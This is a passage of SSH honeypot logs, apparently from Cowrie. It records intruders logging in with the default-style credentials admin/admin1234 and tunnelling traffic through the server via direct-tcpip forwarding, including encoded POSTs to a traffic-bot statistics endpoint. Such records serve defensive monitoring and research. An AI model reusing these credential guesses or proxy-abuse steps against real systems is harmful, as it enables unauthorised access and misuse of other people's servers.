deflate\\r\\n\\r\\n_=ZFhLZnk8Slg1Z2NPITV7Lw%3D%3D4IjERiA0UUwjyn%2BoIoSCNmTA%2BRfBFrIZQpEWOakWBJEbX4WNpdOmN1M8NfcXPoRYct4i8UvO0hEhOFmdWrSEAZMH1%2BegH%2FXN9j4eGkKaQQtsMTDOgFTnClmQ4J50nHALT1LvVBDPvAkKvnJYPyzpekGxi%2Fd0eRj0DWCSWmD7AnI%2F7VydD9Gy7r6811UgyFAPuDlZknRtq8aUfMYdfClDlkvqQvhAyYkWkMYoDWfupKO0TWRUbN9EPk3O4zeZcLYaLrXabYhz%2Fn0r80oILwPIUtKckmc4%2FknHYnCStzYYbFCkH35VmX%2FXv9uxwKeGCZqcc0vguKxQhTQpSqhnVTzo%2FfIILexkzyaN1vJO2s%2FbQCbHo7JTgiveMQX0HxTLRg3A%2BAn%2FUVnrFqqiDr88wFoTegtCxuF7CZh6QGlzuXb%2BqzVA3CF9kszA8b4cw%2FErbqKRNPe%2BViJjRmpbF1EG3CfaPgJnIW8OdwnflOuj0ttfDKi35VHxicBh9TqRq3Gha6H7tnPhRGmfluHuBrQ3aeGLiZ9hrn9Vo7ZwqfYqgjhmhU%2Bdis%2FAC75f5hPqAc7jjKA5ZzPa3l1gGONywCYN2wPtZaG83aZap7qCTYxpDbv%2B4x4vP2VoQu3YMD6qxberDQfWyXrlGTbXh6weftUaSZB5oGjGVkQ7FqM27c3n4Z%2BBvTPI9oNUR9h0cesHObrHVFab1u%2Fwygg8NNxB3qaGZDv%2BUcq1Ifn1YcbVlS32eEvz9glOPOQXmL4t%2BeLbOz7aloVKDW4yeMEGzMBkxsHLBNRTupazTvs87kOY31a4Mwn4iDmu%2Fk0aHm8yGVDog%2BR38TJbYLsgFJTDG7lTYGZFtB%2FHrOLNKMPzsg12LL590c4i8UPph7yu7Jj9kXuliMLnNFFVdbHDTKKv9itos%2F4SHZeJgqE1i93pbKsEuN8jLSqEmRUgQMjaP2QleKrCQqTsObDQ0N4Do3FhS8m%2B67CZjth1LHz0X7Q%2FfZmVkZxxCO3JuKStvXM%2Bm4NuCyLCMwynQqRM%2FrkhJXgnTHgcEhYj9VZw6E3OEhPOT3rvthA6pqhoT6A%3D'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:14:39.424383Z","src_ip":"23.175.50.51","session":"5aa7aba37d08","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"23.175.50.51","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:14:40.670700Z","session":"5aa7aba37d08","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:14:40.769867Z","src_ip":"23.175.50.51","session":"5aa7aba37d08","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03'\\x1e\\x7f\\xd8<\\x06\\xb7\\x9d\\xde\\xf8\\x13Y\\xdb\\xc7\\x15\\x11g5\\xb4\\xf9\\xd3\\x96\\xd5#\\xf1HN\\x9a\\xc10\\x9a\\xbb \\xc0-\\x8dA:\\xa1\\xb0\\x98\\x07N\\x9f\\x86\\xb7>V\\x107\\x9e\\xf7\\xe9\\x1b\\x87\\xc9\\xfd\\x1f\\x1f\\x97o\\x17\\x8c\\x10]\\x00 \\xda\\xda\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\n\\n\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08::\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)::\\x00\\x01\\x00\\x00\\x1d\\x00 \\x81\\xf1\\x84\\x80\\xf6\\xf8\\xa4\\x07\\xc9\\xf7\\xda\\xc0\\x18\\x07XzIa)\\xa3\\xe361\\\\\\xb8\\xaf\\xf4\\xa2\\x89\\x84\\xc7\\x17\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\x1a\\x1a\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xfa\\xfa\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","id":1,"message":"discarded direct-tcp forward request 1 to 104.21.5.61:443 with data b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03'\\x1e\\x7f\\xd8<\\x06\\xb7\\x9d\\xde\\xf8\\x13Y\\xdb\\xc7\\x15\\x11g5\\xb4\\xf9\\xd3\\x96\\xd5#\\xf1HN\\x9a\\xc10\\x9a\\xbb \\xc0-\\x8dA:\\xa1\\xb0\\x98\\x07N\\x9f\\x86\\xb7>V\\x107\\x9e\\xf7\\xe9\\x1b\\x87\\xc9\\xfd\\x1f\\x1f\\x97o\\x17\\x8c\\x10]\\x00 \\xda\\xda\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\n\\n\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08::\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)::\\x00\\x01\\x00\\x00\\x1d\\x00 \\x81\\xf1\\x84\\x80\\xf6\\xf8\\xa4\\x07\\xc9\\xf7\\xda\\xc0\\x18\\x07XzIa)\\xa3\\xe361\\\\\\xb8\\xaf\\xf4\\xa2\\x89\\x84\\xc7\\x17\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\x1a\\x1a\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xfa\\xfa\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:14:40.772871Z","src_ip":"23.175.50.51","session":"5aa7aba37d08","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"23.175.50.51","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:14:40.882173Z","session":"5aa7aba37d08","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:14:40.949856Z","src_ip":"23.175.50.51","session":"5aa7aba37d08","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xac\\xae\\xa9\\x0e\\xe6|\\x18x+\\xc30u\\xf3O\\xecc\\x04\\x16\\xff\\xf2\\xe3p\\x95\\xa4\\x8c^\\x80r\\xd5zkL \\xcbq\\xb0\\x0b\\xaf\\xb7\\xd4\\x94\\x1c\\xbbo \"\\xc8$\\xf6R\\xa1\\xbc\\xf2A\\xd1\\xdc\\x86\\x9b\\x19@c\\x93\\xc7\\x1f\\xaa\\x00\"**\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\xaa\\xaa\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xca\\xca\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xca\\xca\\x00\\x01\\x00\\x00\\x1d\\x00 -\\xb5\\x81\\xf1\\xe2S\\x9e]\\x8c\\xd2\\x9d\\xe2\\xa9r\\xeb_i\\xeeKcg{A\\xca\\xf0\\xbbR\\xfb7\\xbdBn\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\nJJ\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02jj\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xac\\xae\\xa9\\x0e\\xe6|\\x18x+\\xc30u\\xf3O\\xecc\\x04\\x16\\xff\\xf2\\xe3p\\x95\\xa4\\x8c^\\x80r\\xd5zkL \\xcbq\\xb0\\x0b\\xaf\\xb7\\xd4\\x94\\x1c\\xbbo \"\\xc8$\\xf6R\\xa1\\xbc\\xf2A\\xd1\\xdc\\x86\\x9b\\x19@c\\x93\\xc7\\x1f\\xaa\\x00\"**\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\xaa\\xaa\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xca\\xca\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xca\\xca\\x00\\x01\\x00\\x00\\x1d\\x00 -\\xb5\\x81\\xf1\\xe2S\\x9e]\\x8c\\xd2\\x9d\\xe2\\xa9r\\xeb_i\\xeeKcg{A\\xca\\xf0\\xbbR\\xfb7\\xbdBn\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\nJJ\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02jj\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:14:40.954384Z","src_ip":"23.175.50.51","session":"5aa7aba37d08","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"8.7","message":"Connection lost after 8.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:14:42.373902Z","src_ip":"23.175.50.51","session":"5aa7aba37d08","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"123.27.168.40","src_port":59605,"dst_ip":"10.17.0.5","dst_port":22,"session":"efc4eb9aee30","protocol":"ssh","message":"New connection: 123.27.168.40:59605 (10.17.0.5:22) [session: efc4eb9aee30]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:14:59.878856Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:14:59.883029Z","src_ip":"123.27.168.40","session":"efc4eb9aee30","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:15:00.204479Z","src_ip":"123.27.168.40","session":"efc4eb9aee30","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:15:01.330461Z","src_ip":"123.27.168.40","session":"efc4eb9aee30","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:15:01.716981Z","session":"efc4eb9aee30","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:15:01.814899Z","session":"efc4eb9aee30","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:15:02.089885Z","src_ip":"123.27.168.40","session":"efc4eb9aee30","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nOrigin: http://api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 14_4_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.4.2 Mobile/18D70 Safari/604.1\\r\\nConnection: keep-alive\\r\\nContent-Length: 1190\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\n\\r\\n_=bjk1YU9SJHRwST9SWWVCIQ%3D%3DcH6SaRSsoP8%2FiQzafF8i4HSQX3xNwJh6pIOLrN56PZPWl9k%2BUNRzsYdKxpMQnIS2cy%2BlMkAL5wiNFjvQTaM%2BIKHA2JTaLHdTl%2FJ9zLN5VUhK4jRkjLZsAvAzlRNVG4qk9mS6yk1DMwDAhqKt8%2BIa8HJbukwSNPUnJk%2FhYHoSud5SjTZpkvQ1ogGxh6cV7uFNbvGgykHR5Jp8jwE8xy8HvS2o7V38nNnFh8Cnnzbf8Hdafbdui%2FMyWhZrrUyHRUaVKvHOo8mKXvIY21kGTjUq2LiZXpV87QQ%2Ffqhi%2F219JqZcy2QztaRnMRGwjLXGOz9%2B30Y0zfOdlAZ7G1QDWElYhB8DlDP%2BbnQv5y9w2PZzqHMi5fB7G71ggxbY5KKP1eJqw8YaB9V%2BKYRe7rh1aM1aKztJydFU%2BOc%2FhRXaRaaRE0sJz2T%2FV1%2FX%2Beskx068axTqW5XWIS9%2Bm8IO%2B1FnSADxqqBg0AwGkwDykfqQ%2BZqsDoUBY8DPlDUYupL5y0xMvjgpkM2OUlZ%2BiEQLdqEaXyK0SJ5bCnyfLl1%2BXIjIaQOl3cfb1tcezEzD5ixLlFGcflRuE%2FOCptaNtw9M2Pk9Zh267oJcUBFycjGo%2Bt8qBmBDa6qAlIJIzSHIRM5dgwbFAoatY7AnS8SziZjSOCc2FJgIdUO%2BZ909Jid3ptpctN2SWbutfa4xpTnbqudN6SKLf4%2BYsyY9X3vSAodnCSxKOcEa6dy8mhCbfLyNzeCSXDch8ZA0sHS%2BjCIyRT%2BDUPEQg5w9F6DvnJEyY2rQookWH%2BmFVlxoCddIYjtkyzr0JwF3XmLX%2B%2BaK6strjofby81FJ5W5wD1HAQZWwj1kGiY4Ck7KQY5QiXbN0mjKAvbfwrb7b30eCfYK0GyWcdjCuD9NZ0XgcmhxBRFNKxEcIpSf1ZxwhPI8v6JUdNg5WoeovG3mrWj4Sm%2BubWEdOd7ihgcdvQ2UIHnIpY3vRzhyBcn1hdT4gpINQj8j6wlkqk85q%2Bh645dhPjrY6Cfz77XbXhc9GrnBBiXv3rAzv0nr2WE4HethZniCBRSe0t29Opa5ygv5EaTqF5M62XYPE%2Ft0c%2FpfjQKo'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nOrigin: http://api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 14_4_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.4.2 Mobile/18D70 Safari/604.1\\r\\nConnection: keep-alive\\r\\nContent-Length: 1190\\r\\nPragma: no-cache\\r\\nCache-Control: 